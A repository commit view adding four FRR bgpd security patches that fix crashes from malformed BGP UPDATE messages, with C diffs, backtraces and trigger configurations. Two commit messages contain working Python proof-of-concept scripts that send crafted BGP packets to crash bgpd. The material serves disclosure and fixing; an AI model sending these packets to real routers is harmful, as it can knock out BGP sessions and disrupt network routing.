This commit is contained in:
parent
a9a413db50
commit
4b810c903e
@ -0,0 +1,112 @@
|
|||||||
|
From fcc818160be57a1304481402c08962454e1dee5b Mon Sep 17 00:00:00 2001
|
||||||
|
From: Donatas Abraitis <donatas@opensourcerouting.org>
|
||||||
|
Date: Mon, 23 Oct 2023 23:34:10 +0300
|
||||||
|
Subject: [PATCH 1/4] bgpd: Check mandatory attributes more carefully for
|
||||||
|
UPDATE message
|
||||||
|
|
||||||
|
If we send a crafted BGP UPDATE message without mandatory attributes, we do
|
||||||
|
not check if the length of the path attributes is zero or not. We only check
|
||||||
|
if attr->flag is at least set or not. Imagine we send only unknown transit
|
||||||
|
attribute, then attr->flag is always 0. Also, this is true only if graceful-restart
|
||||||
|
capability is received.
|
||||||
|
|
||||||
|
A crash:
|
||||||
|
|
||||||
|
```
|
||||||
|
bgpd[7834]: [TJ23Y-GY0RH] 127.0.0.1 Unknown attribute is received (type 31, length 16)
|
||||||
|
bgpd[7834]: [PCFFM-WMARW] 127.0.0.1(donatas-pc) rcvd UPDATE wlen 0 attrlen 20 alen 17
|
||||||
|
BGP[7834]: Received signal 11 at 1698089639 (si_addr 0x0, PC 0x55eefd375b4a); aborting...
|
||||||
|
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_backtrace_sigsafe+0x6d) [0x7f3205ca939d]
|
||||||
|
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_signal+0xf3) [0x7f3205ca9593]
|
||||||
|
BGP[7834]: /usr/local/lib/libfrr.so.0(+0xf5181) [0x7f3205cdd181]
|
||||||
|
BGP[7834]: /lib/x86_64-linux-gnu/libpthread.so.0(+0x12980) [0x7f3204ff3980]
|
||||||
|
BGP[7834]: /usr/lib/frr/bgpd(+0x18ab4a) [0x55eefd375b4a]
|
||||||
|
BGP[7834]: /usr/local/lib/libfrr.so.0(route_map_apply_ext+0x310) [0x7f3205cd1290]
|
||||||
|
BGP[7834]: /usr/lib/frr/bgpd(+0x163610) [0x55eefd34e610]
|
||||||
|
BGP[7834]: /usr/lib/frr/bgpd(bgp_update+0x9a5) [0x55eefd35c1d5]
|
||||||
|
BGP[7834]: /usr/lib/frr/bgpd(bgp_nlri_parse_ip+0xb7) [0x55eefd35e867]
|
||||||
|
BGP[7834]: /usr/lib/frr/bgpd(+0x1555e6) [0x55eefd3405e6]
|
||||||
|
BGP[7834]: /usr/lib/frr/bgpd(bgp_process_packet+0x747) [0x55eefd345597]
|
||||||
|
BGP[7834]: /usr/local/lib/libfrr.so.0(event_call+0x83) [0x7f3205cef4a3]
|
||||||
|
BGP[7834]: /usr/local/lib/libfrr.so.0(frr_run+0xc0) [0x7f3205ca10a0]
|
||||||
|
BGP[7834]: /usr/lib/frr/bgpd(main+0x409) [0x55eefd2dc979]
|
||||||
|
```
|
||||||
|
|
||||||
|
Sending:
|
||||||
|
|
||||||
|
```
|
||||||
|
import socket
|
||||||
|
import time
|
||||||
|
|
||||||
|
OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
|
||||||
|
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
|
||||||
|
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
|
||||||
|
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
|
||||||
|
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
|
||||||
|
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
|
||||||
|
b"\x80\x00\x00\x00")
|
||||||
|
|
||||||
|
KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
|
||||||
|
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")
|
||||||
|
|
||||||
|
UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff003c0200000014ff1f001000040146464646460004464646464646664646f50d05800100010200ffff000000")
|
||||||
|
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
s.connect(('127.0.0.2', 179))
|
||||||
|
s.send(OPEN)
|
||||||
|
data = s.recv(1024)
|
||||||
|
s.send(KEEPALIVE)
|
||||||
|
data = s.recv(1024)
|
||||||
|
s.send(UPDATE)
|
||||||
|
data = s.recv(1024)
|
||||||
|
time.sleep(1000)
|
||||||
|
s.close()
|
||||||
|
```
|
||||||
|
|
||||||
|
Reported-by: Iggy Frankovic <iggyfran@amazon.com>
|
||||||
|
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
|
||||||
|
(cherry picked from commit d8482bf011cb2b173e85b65b4bf3d5061250cdb9)
|
||||||
|
|
||||||
|
diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
|
||||||
|
index ee20da3326..3a2d93ccd9 100644
|
||||||
|
--- a/bgpd/bgp_attr.c
|
||||||
|
+++ b/bgpd/bgp_attr.c
|
||||||
|
@@ -3429,13 +3429,15 @@ bgp_attr_unknown(struct bgp_attr_parser_args *args)
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Well-known attribute check. */
|
||||||
|
-static int bgp_attr_check(struct peer *peer, struct attr *attr)
|
||||||
|
+static int bgp_attr_check(struct peer *peer, struct attr *attr,
|
||||||
|
+ bgp_size_t length)
|
||||||
|
{
|
||||||
|
uint8_t type = 0;
|
||||||
|
|
||||||
|
/* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an
|
||||||
|
* empty UPDATE. */
|
||||||
|
- if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag)
|
||||||
|
+ if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag &&
|
||||||
|
+ !length)
|
||||||
|
return BGP_ATTR_PARSE_PROCEED;
|
||||||
|
|
||||||
|
/* "An UPDATE message that contains the MP_UNREACH_NLRI is not required
|
||||||
|
@@ -3487,7 +3489,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
|
||||||
|
enum bgp_attr_parse_ret ret;
|
||||||
|
uint8_t flag = 0;
|
||||||
|
uint8_t type = 0;
|
||||||
|
- bgp_size_t length;
|
||||||
|
+ bgp_size_t length = 0;
|
||||||
|
uint8_t *startp, *endp;
|
||||||
|
uint8_t *attr_endp;
|
||||||
|
uint8_t seen[BGP_ATTR_BITMAP_SIZE];
|
||||||
|
@@ -3812,7 +3814,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Check all mandatory well-known attributes are present */
|
||||||
|
- ret = bgp_attr_check(peer, attr);
|
||||||
|
+ ret = bgp_attr_check(peer, attr, length);
|
||||||
|
if (ret < 0)
|
||||||
|
goto done;
|
||||||
|
|
||||||
|
--
|
||||||
|
2.17.1
|
||||||
|
|
@ -0,0 +1,118 @@
|
|||||||
|
From 971f8684efceb2453accc5dcb5cbd8e4266c906d Mon Sep 17 00:00:00 2001
|
||||||
|
From: Donatas Abraitis <donatas@opensourcerouting.org>
|
||||||
|
Date: Fri, 20 Oct 2023 17:49:18 +0300
|
||||||
|
Subject: [PATCH 2/4] bgpd: Handle MP_REACH_NLRI malformed packets with session
|
||||||
|
reset
|
||||||
|
|
||||||
|
Avoid crashing bgpd.
|
||||||
|
|
||||||
|
```
|
||||||
|
(gdb)
|
||||||
|
bgp_mp_reach_parse (args=<optimized out>, mp_update=0x7fffffffe140) at bgpd/bgp_attr.c:2341
|
||||||
|
2341 stream_get(&attr->mp_nexthop_global, s, IPV6_MAX_BYTELEN);
|
||||||
|
(gdb)
|
||||||
|
stream_get (dst=0x7fffffffe1ac, s=0x7ffff0006e80, size=16) at lib/stream.c:320
|
||||||
|
320 {
|
||||||
|
(gdb)
|
||||||
|
321 STREAM_VERIFY_SANE(s);
|
||||||
|
(gdb)
|
||||||
|
323 if (STREAM_READABLE(s) < size) {
|
||||||
|
(gdb)
|
||||||
|
34 return __builtin___memcpy_chk (__dest, __src, __len, __bos0 (__dest));
|
||||||
|
(gdb)
|
||||||
|
|
||||||
|
Thread 1 "bgpd" received signal SIGSEGV, Segmentation fault.
|
||||||
|
0x00005555556e37be in route_set_aspath_prepend (rule=0x555555aac0d0, prefix=0x7fffffffe050,
|
||||||
|
object=0x7fffffffdb00) at bgpd/bgp_routemap.c:2282
|
||||||
|
2282 if (path->attr->aspath->refcnt)
|
||||||
|
(gdb)
|
||||||
|
```
|
||||||
|
|
||||||
|
With the configuration:
|
||||||
|
|
||||||
|
```
|
||||||
|
neighbor 127.0.0.1 remote-as external
|
||||||
|
neighbor 127.0.0.1 passive
|
||||||
|
neighbor 127.0.0.1 ebgp-multihop
|
||||||
|
neighbor 127.0.0.1 disable-connected-check
|
||||||
|
neighbor 127.0.0.1 update-source 127.0.0.2
|
||||||
|
neighbor 127.0.0.1 timers 3 90
|
||||||
|
neighbor 127.0.0.1 timers connect 1
|
||||||
|
address-family ipv4 unicast
|
||||||
|
redistribute connected
|
||||||
|
neighbor 127.0.0.1 default-originate
|
||||||
|
neighbor 127.0.0.1 route-map RM_IN in
|
||||||
|
exit-address-family
|
||||||
|
!
|
||||||
|
route-map RM_IN permit 10
|
||||||
|
set as-path prepend 200
|
||||||
|
exit
|
||||||
|
```
|
||||||
|
|
||||||
|
Reported-by: Iggy Frankovic <iggyfran@amazon.com>
|
||||||
|
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
|
||||||
|
(cherry picked from commit b08afc81c60607a4f736f418f2e3eb06087f1a35)
|
||||||
|
|
||||||
|
diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
|
||||||
|
index 3a2d93ccd9..a3fee07058 100644
|
||||||
|
--- a/bgpd/bgp_attr.c
|
||||||
|
+++ b/bgpd/bgp_attr.c
|
||||||
|
@@ -2418,7 +2418,7 @@ int bgp_mp_reach_parse(struct bgp_attr_parser_args *args,
|
||||||
|
|
||||||
|
mp_update->afi = afi;
|
||||||
|
mp_update->safi = safi;
|
||||||
|
- return BGP_ATTR_PARSE_EOR;
|
||||||
|
+ return bgp_attr_malformed(args, BGP_NOTIFY_UPDATE_MAL_ATTR, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
mp_update->afi = afi;
|
||||||
|
@@ -3739,10 +3739,6 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
|
||||||
|
goto done;
|
||||||
|
}
|
||||||
|
|
||||||
|
- if (ret == BGP_ATTR_PARSE_EOR) {
|
||||||
|
- goto done;
|
||||||
|
- }
|
||||||
|
-
|
||||||
|
if (ret == BGP_ATTR_PARSE_ERROR) {
|
||||||
|
flog_warn(EC_BGP_ATTRIBUTE_PARSE_ERROR,
|
||||||
|
"%s: Attribute %s, parse error", peer->host,
|
||||||
|
diff --git a/bgpd/bgp_attr.h b/bgpd/bgp_attr.h
|
||||||
|
index 33283f4bf6..ba8d4fc735 100644
|
||||||
|
--- a/bgpd/bgp_attr.h
|
||||||
|
+++ b/bgpd/bgp_attr.h
|
||||||
|
@@ -379,7 +379,6 @@ enum bgp_attr_parse_ret {
|
||||||
|
/* only used internally, send notify + convert to BGP_ATTR_PARSE_ERROR
|
||||||
|
*/
|
||||||
|
BGP_ATTR_PARSE_ERROR_NOTIFYPLS = -3,
|
||||||
|
- BGP_ATTR_PARSE_EOR = -4,
|
||||||
|
};
|
||||||
|
|
||||||
|
struct bpacket_attr_vec_arr;
|
||||||
|
diff --git a/bgpd/bgp_packet.c b/bgpd/bgp_packet.c
|
||||||
|
index a02d548941..5e0312a72d 100644
|
||||||
|
--- a/bgpd/bgp_packet.c
|
||||||
|
+++ b/bgpd/bgp_packet.c
|
||||||
|
@@ -2060,8 +2060,7 @@ static int bgp_update_receive(struct peer *peer, bgp_size_t size)
|
||||||
|
* Non-MP IPv4/Unicast EoR is a completely empty UPDATE
|
||||||
|
* and MP EoR should have only an empty MP_UNREACH
|
||||||
|
*/
|
||||||
|
- if ((!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0)
|
||||||
|
- || (attr_parse_ret == BGP_ATTR_PARSE_EOR)) {
|
||||||
|
+ if (!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0) {
|
||||||
|
afi_t afi = 0;
|
||||||
|
safi_t safi;
|
||||||
|
struct graceful_restart_info *gr_info;
|
||||||
|
@@ -2082,9 +2081,6 @@ static int bgp_update_receive(struct peer *peer, bgp_size_t size)
|
||||||
|
&& nlris[NLRI_MP_WITHDRAW].length == 0) {
|
||||||
|
afi = nlris[NLRI_MP_WITHDRAW].afi;
|
||||||
|
safi = nlris[NLRI_MP_WITHDRAW].safi;
|
||||||
|
- } else if (attr_parse_ret == BGP_ATTR_PARSE_EOR) {
|
||||||
|
- afi = nlris[NLRI_MP_UPDATE].afi;
|
||||||
|
- safi = nlris[NLRI_MP_UPDATE].safi;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (afi && peer->afc[afi][safi]) {
|
||||||
|
--
|
||||||
|
2.17.1
|
||||||
|
|
@ -0,0 +1,106 @@
|
|||||||
|
From 621f2efd64b305e96bb2941110e93bfbe5f9eda2 Mon Sep 17 00:00:00 2001
|
||||||
|
From: Donatas Abraitis <donatas@opensourcerouting.org>
|
||||||
|
Date: Fri, 27 Oct 2023 11:56:45 +0300
|
||||||
|
Subject: [PATCH 3/4] bgpd: Treat EOR as withdrawn to avoid unwanted handling
|
||||||
|
of malformed attrs
|
||||||
|
|
||||||
|
Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be
|
||||||
|
processed as a normal UPDATE without mandatory attributes, that could lead
|
||||||
|
to harmful behavior. In this case, a crash for route-maps with the configuration
|
||||||
|
such as:
|
||||||
|
|
||||||
|
```
|
||||||
|
router bgp 65001
|
||||||
|
no bgp ebgp-requires-policy
|
||||||
|
neighbor 127.0.0.1 remote-as external
|
||||||
|
neighbor 127.0.0.1 passive
|
||||||
|
neighbor 127.0.0.1 ebgp-multihop
|
||||||
|
neighbor 127.0.0.1 disable-connected-check
|
||||||
|
neighbor 127.0.0.1 update-source 127.0.0.2
|
||||||
|
neighbor 127.0.0.1 timers 3 90
|
||||||
|
neighbor 127.0.0.1 timers connect 1
|
||||||
|
!
|
||||||
|
address-family ipv4 unicast
|
||||||
|
neighbor 127.0.0.1 addpath-tx-all-paths
|
||||||
|
neighbor 127.0.0.1 default-originate
|
||||||
|
neighbor 127.0.0.1 route-map RM_IN in
|
||||||
|
exit-address-family
|
||||||
|
exit
|
||||||
|
!
|
||||||
|
route-map RM_IN permit 10
|
||||||
|
set as-path prepend 200
|
||||||
|
exit
|
||||||
|
```
|
||||||
|
|
||||||
|
Send a malformed optional transitive attribute:
|
||||||
|
|
||||||
|
```
|
||||||
|
import socket
|
||||||
|
import time
|
||||||
|
|
||||||
|
OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
|
||||||
|
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
|
||||||
|
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
|
||||||
|
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
|
||||||
|
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
|
||||||
|
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
|
||||||
|
b"\x80\x00\x00\x00")
|
||||||
|
|
||||||
|
KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
|
||||||
|
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")
|
||||||
|
|
||||||
|
UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b")
|
||||||
|
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
s.connect(('127.0.0.2', 179))
|
||||||
|
s.send(OPEN)
|
||||||
|
data = s.recv(1024)
|
||||||
|
s.send(KEEPALIVE)
|
||||||
|
data = s.recv(1024)
|
||||||
|
s.send(UPDATE)
|
||||||
|
data = s.recv(1024)
|
||||||
|
time.sleep(100)
|
||||||
|
s.close()
|
||||||
|
```
|
||||||
|
|
||||||
|
Reported-by: Iggy Frankovic <iggyfran@amazon.com>
|
||||||
|
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
|
||||||
|
|
||||||
|
diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
|
||||||
|
index a3fee07058..bdf078e7c8 100644
|
||||||
|
--- a/bgpd/bgp_attr.c
|
||||||
|
+++ b/bgpd/bgp_attr.c
|
||||||
|
@@ -3435,10 +3435,13 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr,
|
||||||
|
uint8_t type = 0;
|
||||||
|
|
||||||
|
/* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an
|
||||||
|
- * empty UPDATE. */
|
||||||
|
+ * empty UPDATE. Treat-as-withdraw, otherwise if we just ignore it,
|
||||||
|
+ * we will pass it to be processed as a normal UPDATE without mandatory
|
||||||
|
+ * attributes, that could lead to harmful behavior.
|
||||||
|
+ */
|
||||||
|
if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag &&
|
||||||
|
!length)
|
||||||
|
- return BGP_ATTR_PARSE_PROCEED;
|
||||||
|
+ return BGP_ATTR_PARSE_WITHDRAW;
|
||||||
|
|
||||||
|
/* "An UPDATE message that contains the MP_UNREACH_NLRI is not required
|
||||||
|
to carry any other path attributes.", though if MP_REACH_NLRI or NLRI
|
||||||
|
@@ -3866,7 +3869,13 @@ done:
|
||||||
|
aspath_unintern(&as4_path);
|
||||||
|
|
||||||
|
transit = bgp_attr_get_transit(attr);
|
||||||
|
- if (ret != BGP_ATTR_PARSE_ERROR) {
|
||||||
|
+ /* If we received an UPDATE with mandatory attributes, then
|
||||||
|
+ * the unrecognized transitive optional attribute of that
|
||||||
|
+ * path MUST be passed. Otherwise, it's an error, and from
|
||||||
|
+ * security perspective it might be very harmful if we continue
|
||||||
|
+ * here with the unrecognized attributes.
|
||||||
|
+ */
|
||||||
|
+ if (ret == BGP_ATTR_PARSE_PROCEED) {
|
||||||
|
/* Finally intern unknown attribute. */
|
||||||
|
if (transit)
|
||||||
|
bgp_attr_set_transit(attr, transit_intern(transit));
|
||||||
|
--
|
||||||
|
2.17.1
|
||||||
|
|
@ -0,0 +1,88 @@
|
|||||||
|
From 4f75184ed110ffb002b0125797e0395cfa6e9ce8 Mon Sep 17 00:00:00 2001
|
||||||
|
From: Donatas Abraitis <donatas@opensourcerouting.org>
|
||||||
|
Date: Sun, 29 Oct 2023 22:44:45 +0200
|
||||||
|
Subject: [PATCH 4/4] bgpd: Ignore handling NLRIs if we received
|
||||||
|
MP_UNREACH_NLRI
|
||||||
|
|
||||||
|
If we receive MP_UNREACH_NLRI, we should stop handling remaining NLRIs if
|
||||||
|
no mandatory path attributes received.
|
||||||
|
|
||||||
|
In other words, if MP_UNREACH_NLRI received, the remaining NLRIs should be handled
|
||||||
|
as a new data, but without mandatory attributes, it's a malformed packet.
|
||||||
|
|
||||||
|
In normal case, this MUST not happen at all, but to avoid crashing bgpd, we MUST
|
||||||
|
handle that.
|
||||||
|
|
||||||
|
Reported-by: Iggy Frankovic <iggyfran@amazon.com>
|
||||||
|
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
|
||||||
|
|
||||||
|
diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
|
||||||
|
index bdf078e7c8..43a3cc91af 100644
|
||||||
|
--- a/bgpd/bgp_attr.c
|
||||||
|
+++ b/bgpd/bgp_attr.c
|
||||||
|
@@ -3443,15 +3443,6 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr,
|
||||||
|
!length)
|
||||||
|
return BGP_ATTR_PARSE_WITHDRAW;
|
||||||
|
|
||||||
|
- /* "An UPDATE message that contains the MP_UNREACH_NLRI is not required
|
||||||
|
- to carry any other path attributes.", though if MP_REACH_NLRI or NLRI
|
||||||
|
- are present, it should. Check for any other attribute being present
|
||||||
|
- instead.
|
||||||
|
- */
|
||||||
|
- if ((!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_REACH_NLRI)) &&
|
||||||
|
- CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_UNREACH_NLRI))))
|
||||||
|
- return BGP_ATTR_PARSE_PROCEED;
|
||||||
|
-
|
||||||
|
if (!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_ORIGIN)))
|
||||||
|
type = BGP_ATTR_ORIGIN;
|
||||||
|
|
||||||
|
@@ -3470,6 +3461,16 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr,
|
||||||
|
&& !CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_LOCAL_PREF)))
|
||||||
|
type = BGP_ATTR_LOCAL_PREF;
|
||||||
|
|
||||||
|
+ /* An UPDATE message that contains the MP_UNREACH_NLRI is not required
|
||||||
|
+ * to carry any other path attributes. Though if MP_REACH_NLRI or NLRI
|
||||||
|
+ * are present, it should. Check for any other attribute being present
|
||||||
|
+ * instead.
|
||||||
|
+ */
|
||||||
|
+ if (!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_REACH_NLRI)) &&
|
||||||
|
+ CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_UNREACH_NLRI)))
|
||||||
|
+ return type ? BGP_ATTR_PARSE_MISSING_MANDATORY
|
||||||
|
+ : BGP_ATTR_PARSE_PROCEED;
|
||||||
|
+
|
||||||
|
/* If any of the well-known mandatory attributes are not present
|
||||||
|
* in an UPDATE message, then "treat-as-withdraw" MUST be used.
|
||||||
|
*/
|
||||||
|
diff --git a/bgpd/bgp_attr.h b/bgpd/bgp_attr.h
|
||||||
|
index ba8d4fc735..275965fe62 100644
|
||||||
|
--- a/bgpd/bgp_attr.h
|
||||||
|
+++ b/bgpd/bgp_attr.h
|
||||||
|
@@ -379,6 +379,7 @@ enum bgp_attr_parse_ret {
|
||||||
|
/* only used internally, send notify + convert to BGP_ATTR_PARSE_ERROR
|
||||||
|
*/
|
||||||
|
BGP_ATTR_PARSE_ERROR_NOTIFYPLS = -3,
|
||||||
|
+ BGP_ATTR_PARSE_MISSING_MANDATORY = -4,
|
||||||
|
};
|
||||||
|
|
||||||
|
struct bpacket_attr_vec_arr;
|
||||||
|
diff --git a/bgpd/bgp_packet.c b/bgpd/bgp_packet.c
|
||||||
|
index 5e0312a72d..59f895ac58 100644
|
||||||
|
--- a/bgpd/bgp_packet.c
|
||||||
|
+++ b/bgpd/bgp_packet.c
|
||||||
|
@@ -1983,7 +1983,12 @@ static int bgp_update_receive(struct peer *peer, bgp_size_t size)
|
||||||
|
/* Network Layer Reachability Information. */
|
||||||
|
update_len = end - stream_pnt(s);
|
||||||
|
|
||||||
|
- if (update_len && attribute_len) {
|
||||||
|
+ /* If we received MP_UNREACH_NLRI attribute, but also NLRIs, then
|
||||||
|
+ * NLRIs should be handled as a new data. Though, if we received
|
||||||
|
+ * NLRIs without mandatory attributes, they should be ignored.
|
||||||
|
+ */
|
||||||
|
+ if (update_len && attribute_len &&
|
||||||
|
+ attr_parse_ret != BGP_ATTR_PARSE_MISSING_MANDATORY) {
|
||||||
|
/* Set NLRI portion to structure. */
|
||||||
|
nlris[NLRI_UPDATE].afi = AFI_IP;
|
||||||
|
nlris[NLRI_UPDATE].safi = SAFI_UNICAST;
|
||||||
|
--
|
||||||
|
2.17.1
|
||||||
|
|
@ -27,3 +27,7 @@ cross-compile-changes.patch
|
|||||||
0025-bgpd-Use-treat-as-withdraw-for-tunnel-encapsulation-.patch
|
0025-bgpd-Use-treat-as-withdraw-for-tunnel-encapsulation-.patch
|
||||||
0026-zebra-Add-encap-type-when-building-packet-for-FPM.patch
|
0026-zebra-Add-encap-type-when-building-packet-for-FPM.patch
|
||||||
0027-zebra-Fix-non-notification-of-better-admin-won.patch
|
0027-zebra-Fix-non-notification-of-better-admin-won.patch
|
||||||
|
0028-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch
|
||||||
|
0029-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch
|
||||||
|
0030-bgpd-Treat-EOR-as-withdrawn-to-avoid-unwanted-handli.patch
|
||||||
|
0031-bgpd-Ignore-handling-NLRIs-if-we-received-MP_UNREACH.patch
|
||||||
|
Loading…
Reference in New Issue
Block a user